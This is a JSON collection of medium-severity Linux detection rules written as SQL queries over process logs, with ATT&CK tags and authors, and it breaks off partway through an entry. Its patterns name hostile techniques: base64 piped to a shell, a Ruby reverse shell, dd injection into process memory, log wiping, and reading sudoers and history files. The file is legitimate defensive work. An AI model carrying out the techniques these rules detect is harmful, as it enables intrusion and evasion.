rules_linux_medium.json

[
    {
        "title": "Suspicious Curl Change User Agents - Linux",
        "id": "b86d356d-6093-443d-971c-9b07db583c68",
        "status": "test",
        "description": "Detects a suspicious curl process start on linux with set useragent options",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.command-and-control",
            "attack.t1071.001"
        ],
        "falsepositives": [
            "Scripts created by developers and admins",
            "Administrative activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/curl' ESCAPE '\\' AND (CommandLine LIKE '% -A %' ESCAPE '\\' OR CommandLine LIKE '% --user-agent %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi VSAN Information Discovery Via ESXCLI",
        "id": "d54c2f06-aca9-4e2b-81c9-5317858f4b79",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"vsan\" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.",
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon",
        "tags": [
            "attack.discovery",
            "attack.execution",
            "attack.t1033",
            "attack.t1007",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/esxcli' ESCAPE '\\' AND CommandLine LIKE '%vsan%' ESCAPE '\\') AND (CommandLine LIKE '% get%' ESCAPE '\\' OR CommandLine LIKE '% list%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Enable BPF Kprobes Tracing",
        "id": "7692f583-bd30-4008-8615-75dab3f08a99",
        "status": "test",
        "description": "Detects common command used to enable bpf kprobes tracing",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.stealth"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (CommandLine LIKE '%echo 1 >%' ESCAPE '\\' AND CommandLine LIKE '%/sys/kernel/debug/tracing/events/kprobes/%' ESCAPE '\\') AND (CommandLine LIKE '%/myprobe/enable%' ESCAPE '\\' OR CommandLine LIKE '%/myretprobe/enable%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Linux Process Code Injection Via DD Utility",
        "id": "4cad6c64-d6df-42d6-8dae-eb78defdc415",
        "status": "test",
        "description": "Detects the injection of code by overwriting the memory map of a Linux process using the \"dd\" Linux command.",
        "author": "Joseph Kamau",
        "tags": [
            "attack.privilege-escalation",
            "attack.stealth",
            "attack.t1055.009"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/dd' ESCAPE '\\' AND (CommandLine LIKE '%of=%' ESCAPE '\\' AND CommandLine LIKE '%/proc/%' ESCAPE '\\' AND CommandLine LIKE '%/mem%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Print History File Contents",
        "id": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66",
        "status": "test",
        "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.reconnaissance",
            "attack.t1592.004"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/cat' ESCAPE '\\' OR Image LIKE '%/head' ESCAPE '\\' OR Image LIKE '%/tail' ESCAPE '\\' OR Image LIKE '%/more' ESCAPE '\\') AND ((CommandLine LIKE '%/.bash\\_history%' ESCAPE '\\' OR CommandLine LIKE '%/.zsh\\_history%' ESCAPE '\\') OR (CommandLine LIKE '%\\_history' ESCAPE '\\' OR CommandLine LIKE '%.history' ESCAPE '\\' OR CommandLine LIKE '%zhistory' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "PUA - TruffleHog Execution - Linux",
        "id": "d7a650c4-226c-451e-948f-cc490db506aa",
        "status": "experimental",
        "description": "Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira, Slack, SharePoint, etc. that could be used maliciously.\nWhile it is a legitimate tool, intended for use in CI pipelines and security assessments,\nIt was observed in the Shai-Hulud malware campaign targeting npm packages to steal sensitive information.\n",
        "author": "Swachchhanda Shrawan Poudel (Nextron Systems)",
        "tags": [
            "attack.discovery",
            "attack.credential-access",
            "attack.t1083",
            "attack.t1552.001"
        ],
        "falsepositives": [
            "Legitimate use of TruffleHog by security teams or developers."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/trufflehog' ESCAPE '\\' OR ((CommandLine LIKE '% docker --image %' ESCAPE '\\' OR CommandLine LIKE '% Git %' ESCAPE '\\' OR CommandLine LIKE '% GitHub %' ESCAPE '\\' OR CommandLine LIKE '% Jira %' ESCAPE '\\' OR CommandLine LIKE '% Slack %' ESCAPE '\\' OR CommandLine LIKE '% Confluence %' ESCAPE '\\' OR CommandLine LIKE '% SharePoint %' ESCAPE '\\' OR CommandLine LIKE '% s3 %' ESCAPE '\\' OR CommandLine LIKE '% gcs %' ESCAPE '\\') AND CommandLine LIKE '% --results=verified%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "User Has Been Deleted Via Userdel",
        "id": "08f26069-6f80-474b-8d1f-d971c6fedea0",
        "status": "test",
        "description": "Detects execution of the \"userdel\" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks",
        "author": "Tuan Le (NCSGroup)",
        "tags": [
            "attack.impact",
            "attack.t1531"
        ],
        "falsepositives": [
            "Legitimate administrator activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/userdel' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Access of Sudoers File Content",
        "id": "0f79c4d2-4e1f-4683-9c36-b5469a665e06",
        "status": "test",
        "description": "Detects the execution of a text-based file access or inspection utilities to read the content of /etc/sudoers in order to potentially list all users that have sudo rights.",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.reconnaissance",
            "attack.t1592.004"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/cat' ESCAPE '\\' OR Image LIKE '%/ed' ESCAPE '\\' OR Image LIKE '%/egrep' ESCAPE '\\' OR Image LIKE '%/emacs' ESCAPE '\\' OR Image LIKE '%/fgrep' ESCAPE '\\' OR Image LIKE '%/grep' ESCAPE '\\' OR Image LIKE '%/head' ESCAPE '\\' OR Image LIKE '%/less' ESCAPE '\\' OR Image LIKE '%/more' ESCAPE '\\' OR Image LIKE '%/nano' ESCAPE '\\' OR Image LIKE '%/tail' ESCAPE '\\') AND CommandLine LIKE '% /etc/sudoers%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Mount Execution With Hidepid Parameter",
        "id": "ec52985a-d024-41e3-8ff6-14169039a0b3",
        "status": "test",
        "description": "Detects execution of the \"mount\" command with \"hidepid\" parameter to make invisible processes to other users from the system",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.credential-access",
            "attack.stealth",
            "attack.t1564"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/mount' ESCAPE '\\' AND (CommandLine LIKE '%hidepid=2%' ESCAPE '\\' AND CommandLine LIKE '% -o %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Pnscan Binary Data Transmission Activity",
        "id": "97de11cd-4b67-4abf-9a8b-1020e670aa9e",
        "status": "test",
        "description": "Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network.\nThis behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT\n",
        "author": "David Burkett (@signalblur)",
        "tags": [
            "attack.discovery",
            "attack.t1046"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE CommandLine REGEXP '-(W|R)\\s?(\\s|\"|')([0-9a-fA-F]{2}\\s?){2,20}(\\s|\"|')'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "BPFtrace Unsafe Option Usage",
        "id": "f8341cb2-ee25-43fa-a975-d8a5a9714b39",
        "status": "test",
        "description": "Detects the usage of the unsafe bpftrace option",
        "author": "Andreas Hunkeler (@Karneades)",
        "tags": [
            "attack.execution",
            "attack.t1059.004"
        ],
        "falsepositives": [
            "Legitimate usage of the unsafe option"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%bpftrace' ESCAPE '\\' AND CommandLine LIKE '%--unsafe%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Base64 Encoded Pipe to Shell",
        "id": "ba592c6d-6888-43c3-b8c6-689b8fe47337",
        "status": "test",
        "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell",
        "author": "pH-T (Nextron Systems)",
        "tags": [
            "attack.stealth",
            "attack.t1140"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE CommandLine LIKE '%base64 %' ESCAPE '\\' AND ((CommandLine LIKE '%| bash %' ESCAPE '\\' OR CommandLine LIKE '%| sh %' ESCAPE '\\' OR CommandLine LIKE '%|bash %' ESCAPE '\\' OR CommandLine LIKE '%|sh %' ESCAPE '\\') OR (CommandLine LIKE '% |sh' ESCAPE '\\' OR CommandLine LIKE '%| bash' ESCAPE '\\' OR CommandLine LIKE '%| sh' ESCAPE '\\' OR CommandLine LIKE '%|bash' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi System Information Discovery Via ESXCLI",
        "id": "e80273e1-9faf-40bc-bd85-dbaff104c4e9",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"system\" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.",
        "author": "Cedric Maurugeon",
        "tags": [
            "attack.discovery",
            "attack.execution",
            "attack.t1033",
            "attack.t1007",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/esxcli' ESCAPE '\\' AND CommandLine LIKE '%system%' ESCAPE '\\') AND (CommandLine LIKE '% get%' ESCAPE '\\' OR CommandLine LIKE '% list%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potentially Suspicious Execution From Tmp Folder",
        "id": "312b42b1-bded-4441-8b58-163a3af58775",
        "status": "test",
        "description": "Detects a potentially suspicious execution of a process located in the '/tmp/' folder",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.stealth",
            "attack.t1036"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '/tmp/%' ESCAPE '\\' AND (NOT Image LIKE '%/usr/bin/nextcloud' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Python WebServer Execution - Linux",
        "id": "3f0f5957-04f8-4792-ad89-192b0303bde6",
        "status": "experimental",
        "description": "Detects the execution of Python web servers via command line interface (CLI).\nAfter gaining access to target systems, adversaries may use Python's built-in HTTP server modules to quickly establish a web server without requiring additional software.\nThis technique is commonly used in post-exploitation scenarios as it provides a simple method for transferring files between the compromised host and attacker-controlled systems.\n",
        "author": "Mohamed LAKRI",
        "tags": [
            "attack.exfiltration",
            "attack.t1048.003"
        ],
        "falsepositives": [
            "Testing or development activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/python' ESCAPE '\\' OR Image LIKE '%/python2' ESCAPE '\\' OR Image LIKE '%/python3' ESCAPE '\\') OR (Image LIKE '%/python2.%' ESCAPE '\\' OR Image LIKE '%/python3.%' ESCAPE '\\')) AND (CommandLine LIKE '%http.server%' ESCAPE '\\' OR CommandLine LIKE '%SimpleHTTPServer%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Logs Clearing Attempts",
        "id": "80915f59-9b56-4616-9de0-fd0dea6c12fe",
        "status": "stable",
        "description": "Detects logs clearing attempts on Linux systems via utilities such as 'rm', 'rmdir', 'shred', and 'unlink' targeting log files and directories.\nAdversaries often try to clear logs to cover their tracks after performing malicious activities.\n",
        "author": "\u00d6mer G\u00fcnal, oscd.community",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685.006"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/rm' ESCAPE '\\' OR Image LIKE '%/rmdir' ESCAPE '\\' OR Image LIKE '%/shred' ESCAPE '\\' OR Image LIKE '%/unlink' ESCAPE '\\') AND (CommandLine LIKE '%/var/log%' ESCAPE '\\' OR CommandLine LIKE '%/var/spool/mail%' ESCAPE '\\')) AND (NOT ((Image LIKE '%/rm' ESCAPE '\\' AND CommandLine LIKE 'rm -f /var/log/sysstat/%' ESCAPE '\\') OR (Image LIKE '%/rm' ESCAPE '\\' AND CommandLine LIKE 'rm -f -- /var/log//dmesg%' ESCAPE '\\')))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Chmod Targeting Sensitive Directories",
        "id": "6419afd1-3742-47a5-a7e6-b50386cd15f8",
        "status": "test",
        "description": "Detects chmod targeting files in sensitive directory paths on Linux systems.\nAttackers may use chmod to change permissions of files in these directories to maintain persistence, escalate privileges, or disrupt system operations.\n",
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "tags": [
            "attack.defense-impairment",
            "attack.t1222.002"
        ],
        "falsepositives": [
            "Some false positives are to be expected. Apply additional filters as needed before pushing to production."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/chmod' ESCAPE '\\' AND (CommandLine LIKE '%/tmp/%' ESCAPE '\\' OR CommandLine LIKE '%/.Library/%' ESCAPE '\\' OR CommandLine LIKE '%/etc/%' ESCAPE '\\' OR CommandLine LIKE '%/opt/%' ESCAPE '\\')) AND (NOT ((CommandLine LIKE '%chmod --reference=/etc/shells%' ESCAPE '\\' AND ParentCommandLine LIKE '%/update-shells' ESCAPE '\\') OR (CommandLine LIKE '%/etc/%' ESCAPE '\\' AND (ParentCommandLine LIKE '%/var/lib/dpkg/info/%' ESCAPE '\\' AND ParentCommandLine LIKE '%.postinst configure%' ESCAPE '\\')) OR CommandLine LIKE 'chmod 700 /tmp/apt-key-gpghome.%' ESCAPE '\\' OR CommandLine LIKE 'chmod 755 /var/tmp/mkinitramfs%' ESCAPE '\\' OR CommandLine='chmod 0775 /etc/landscape/' OR CommandLine='chmod 644 /etc/apparmor.d/tunables/home.d/ubuntu'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Remove Scheduled Cron Task/Job",
        "id": "c2e234de-03a3-41e1-b39a-1e56dc17ba67",
        "status": "test",
        "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.stealth"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%crontab' ESCAPE '\\' AND CommandLine LIKE '% -r%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi Network Configuration Discovery Via ESXCLI",
        "id": "33e814e0-1f00-4e43-9c34-31fb7ae2b174",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"network\" flag in order to retrieve information about the network configuration.",
        "author": "Cedric Maurugeon",
        "tags": [
            "attack.discovery",
            "attack.execution",
            "attack.t1033",
            "attack.t1007",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/esxcli' ESCAPE '\\' AND CommandLine LIKE '%network%' ESCAPE '\\') AND (CommandLine LIKE '% get%' ESCAPE '\\' OR CommandLine LIKE '% list%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Execution Of Script Located In Potentially Suspicious Directory",
        "id": "30bcce26-51c5-49f2-99c8-7b59e3af36c7",
        "status": "test",
        "description": "Detects executions of scripts located in potentially suspicious locations such as \"/tmp\" via a shell such as \"bash\", \"sh\", etc.",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/bash' ESCAPE '\\' OR Image LIKE '%/csh' ESCAPE '\\' OR Image LIKE '%/dash' ESCAPE '\\' OR Image LIKE '%/fish' ESCAPE '\\' OR Image LIKE '%/ksh' ESCAPE '\\' OR Image LIKE '%/sh' ESCAPE '\\' OR Image LIKE '%/zsh' ESCAPE '\\') AND CommandLine LIKE '% -c %' ESCAPE '\\' AND CommandLine LIKE '%/tmp/%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Suspicious Change To Sensitive/Critical Files",
        "id": "86157017-c2b1-4d4a-8c33-93b8e67e4af4",
        "status": "test",
        "description": "Detects changes of sensitive and critical files. Monitors files that you don't expect to change without planning on Linux system.\nThese files include, but are not limited to, system configuration files, authentication files, and critical application files.\nAttackers often target these files to maintain persistence, escalate privileges, or disrupt system operations.\n",
        "author": "@d4ns4n_ (Wuerth-Phoenix)",
        "tags": [
            "attack.impact",
            "attack.t1565.001"
        ],
        "falsepositives": [
            "Some false positives are to be expected on user or administrator machines. Apply additional filters as needed."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (((Image LIKE '%/cat' ESCAPE '\\' OR Image LIKE '%/echo' ESCAPE '\\' OR Image LIKE '%/grep' ESCAPE '\\' OR Image LIKE '%/head' ESCAPE '\\' OR Image LIKE '%/more' ESCAPE '\\' OR Image LIKE '%/tail' ESCAPE '\\') AND CommandLine LIKE '%>%' ESCAPE '\\') OR (Image LIKE '%/emacs' ESCAPE '\\' OR Image LIKE '%/nano' ESCAPE '\\' OR Image LIKE '%/sed' ESCAPE '\\' OR Image LIKE '%/vi' ESCAPE '\\' OR Image LIKE '%/vim' ESCAPE '\\')) AND (CommandLine LIKE '%/bin/login%' ESCAPE '\\' OR CommandLine LIKE '%/bin/passwd%' ESCAPE '\\' OR CommandLine LIKE '%/boot/%' ESCAPE '\\' OR CommandLine LIKE '%/etc/%.conf%' ESCAPE '\\' OR CommandLine LIKE '%/etc/cron.%' ESCAPE '\\' OR CommandLine LIKE '%/etc/crontab%' ESCAPE '\\' OR CommandLine LIKE '%/etc/hosts%' ESCAPE '\\' OR CommandLine LIKE '%/etc/init.d%' ESCAPE '\\' OR CommandLine LIKE '%/etc/sudoers%' ESCAPE '\\' OR CommandLine LIKE '%/opt/bin/%' ESCAPE '\\' OR CommandLine LIKE '%/sbin%' ESCAPE '\\' OR CommandLine LIKE '%/usr/bin/%' ESCAPE '\\' OR CommandLine LIKE '%/usr/local/bin/%' ESCAPE '\\') AND (NOT (Image LIKE '%/bin/sed' ESCAPE '\\' AND (CommandLine LIKE 'sed -i /^%' ESCAPE '\\' OR CommandLine LIKE 'sed -ne s/^%' ESCAPE '\\') AND CommandLine LIKE '%/etc/mdadm/mdadm.conf' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Base64 Encoded Shebang In CLI",
        "id": "fe2f9663-41cb-47e2-b954-8a228f3b9dff",
        "status": "test",
        "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.stealth",
            "attack.t1140"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE CommandLine LIKE '%IyEvYmluL2Jhc2%' ESCAPE '\\' OR CommandLine LIKE '%IyEvYmluL2Rhc2%' ESCAPE '\\' OR CommandLine LIKE '%IyEvYmluL3pza%' ESCAPE '\\' OR CommandLine LIKE '%IyEvYmluL2Zpc2%' ESCAPE '\\' OR CommandLine LIKE '%IyEvYmluL3No%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "User Added To Root/Sudoers Group Using Usermod",
        "id": "6a50f16c-3b7b-42d1-b081-0fdd3ba70a73",
        "status": "test",
        "description": "Detects usage of the \"usermod\" binary to add users add users to the root or suoders groups",
        "author": "TuanLe (GTSC)",
        "tags": [
            "attack.privilege-escalation",
            "attack.persistence"
        ],
        "falsepositives": [
            "Legitimate administrator activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/usermod' ESCAPE '\\' AND (CommandLine LIKE '%-aG root%' ESCAPE '\\' OR CommandLine LIKE '%-aG sudoers%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Group Has Been Deleted Via Groupdel",
        "id": "8a46f16c-8c4c-82d1-b121-0fdd3ba70a84",
        "status": "test",
        "description": "Detects execution of the \"groupdel\" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks",
        "author": "Tuan Le (NCSGroup)",
        "tags": [
            "attack.impact",
            "attack.t1531"
        ],
        "falsepositives": [
            "Legitimate administrator activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/groupdel' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi Storage Information Discovery Via ESXCLI",
        "id": "f41dada5-3f56-4232-8503-3fb7f9cf2d60",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"storage\" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.",
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon",
        "tags": [
            "attack.discovery",
            "attack.execution",
            "attack.t1033",
            "attack.t1007",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/esxcli' ESCAPE '\\' AND CommandLine LIKE '%storage%' ESCAPE '\\') AND (CommandLine LIKE '% get%' ESCAPE '\\' OR CommandLine LIKE '% list%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Remove Immutable File Attribute",
        "id": "34979410-e4b5-4e5d-8cfb-389fdff05c12",
        "status": "test",
        "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.defense-impairment",
            "attack.t1222.002"
        ],
        "falsepositives": [
            "Administrator interacting with immutable files (e.g. for instance backups)."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/chattr' ESCAPE '\\' AND CommandLine LIKE '% -i %' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi VM Kill Via ESXCLI",
        "id": "2992ac4d-31e9-4325-99f2-b18a73221bb2",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"vm\" and \"kill\" flag in order to kill/shutdown a specific VM.",
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon",
        "tags": [
            "attack.execution",
            "attack.impact",
            "attack.t1059.012",
            "attack.t1529"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/esxcli' ESCAPE '\\' AND (CommandLine LIKE '%vm process%' ESCAPE '\\' AND CommandLine LIKE '%kill%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Nohup Execution",
        "id": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2",
        "status": "test",
        "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments",
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "tags": [
            "attack.execution",
            "attack.t1059.004"
        ],
        "falsepositives": [
            "Administrators or installed processes that leverage nohup"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/nohup' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Discovery Activity Using Find - Linux",
        "id": "8344c0e5-5783-47cc-9cf9-a0f7fd03e6cf",
        "status": "test",
        "description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.discovery",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/find' ESCAPE '\\' AND (CommandLine LIKE '%-perm -4000%' ESCAPE '\\' OR CommandLine LIKE '%-perm -2000%' ESCAPE '\\' OR CommandLine LIKE '%-perm 0777%' ESCAPE '\\' OR CommandLine LIKE '%-perm -222%' ESCAPE '\\' OR CommandLine LIKE '%-perm -o w%' ESCAPE '\\' OR CommandLine LIKE '%-perm -o x%' ESCAPE '\\' OR CommandLine LIKE '%-perm -u=s%' ESCAPE '\\' OR CommandLine LIKE '%-perm -g=s%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Ruby Reverse Shell",
        "id": "b8bdac18-c06e-4016-ac30-221553e74f59",
        "status": "test",
        "description": "Detects execution of ruby with the \"-e\" flag and calls to \"socket\" related functions. This could be an indication of a potential attempt to setup a reverse shell",
        "author": "@d4ns4n_",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%ruby%' ESCAPE '\\' AND (CommandLine LIKE '% -e%' ESCAPE '\\' AND CommandLine LIKE '%rsocket%' ESCAPE '\\' AND CommandLine LIKE '%TCPSocket%' ESCAPE '\\') AND (CommandLine LIKE '% ash%' ESCAPE '\\' OR CommandLine LIKE '% bash%' ESCAPE '\\' OR CommandLine LIKE '% bsh%' ESCAPE '\\' OR CommandLine LIKE '% csh%' ESCAPE '\\' OR CommandLine LIKE '% ksh%' ESCAPE '\\' OR CommandLine LIKE '% pdksh%' ESCAPE '\\' OR CommandLine LIKE '% sh%' ESCAPE '\\' OR CommandLine LIKE '% tcsh%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Download File To Potentially Suspicious Directory Via Wget",
        "id": "cf610c15-ed71-46e1-bdf8-2bd1a99de6c4",
        "status": "test",
        "description": "Detects the use of wget to download content to a suspicious directory",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.command-and-control",
            "attack.t1105"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/wget' ESCAPE '\\' AND (CommandLine REGEXP '\\s-O\\s' OR CommandLine LIKE '%--output-document%' ESCAPE '\\') AND CommandLine LIKE '%/tmp/%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Disable Or Stop Services",
        "id": "de25eeb8-3655-4643-ac3a-b662d3f26b6b",
        "status": "test",
        "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services on Linux systems.\nAttackers may stop or disable security tools and services to evade detection, maintain persistence, or disrupt system operations.\n",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685",
            "attack.impact",
            "attack.t1489"
        ],
        "falsepositives": [
            "Legitimate administration activities",
            "Some false positives are to be expected. Apply additional filters as needed before pushing to production."
        ],
        "level": "medium",
        "rule": [
